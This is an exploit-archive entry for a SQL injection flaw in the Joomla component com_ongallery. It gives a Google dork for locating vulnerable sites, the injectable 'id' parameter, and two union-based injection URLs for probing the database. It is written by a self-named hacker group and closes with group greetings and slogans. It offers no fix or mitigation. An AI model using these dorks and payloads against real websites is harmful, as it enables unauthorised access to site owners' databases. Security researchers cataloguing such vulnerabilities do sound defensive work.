Joomla! Component com_ongallery - SQL Injection

Author: al bayraqim
type: webapps
platform: php
port: 
date_added: 2010-08-16 
date_updated: 2016-11-02 
verified: 1 
codes: OSVDB-67206 
tags: 
aliases:  
screenshot_url:  
application_url: 

===================================================
Joomla Component (com_ongallery) SQL Injection Vulnerability
===================================================

Author :   _aL_Bayraqim_

Homepage : http://www.1923turk.com

BORDO BERELİLER GRUP KOMUTANLIGI

..! _al_bayragim_ ..! ..! Corti ..! ..! Aytug_Han ..! ..! Montesque ..! ..! Em3rGeNcY ..!...!..KaraBulut....!..!...Ramses....!....!...Mü cahit...!

===================================================
  [+]G00gle Dork :index.php?option=com_ongallery

[+] Vulnerable File :


http://site.com/index.php?option=com_ongallery&task=ft&id=-1[SQL]


[+] ExploiT :

http://site.com/index.php?option=com_ongallery&task=ft&id=-1+order+by+1--

http://site.com/index.php?option=com_ongallery&task=ft&id=-1+union+select+1--


===================================================
ŞeHiT GeLdi ÖLümLü YaLan, GiTTi ÖLümSüzLügü GerÇek. Siz HaYaT SüRen LeşLer, SiZi Kim DiRiLTecek?..
===================================================

Greetz : 1923Turk All Users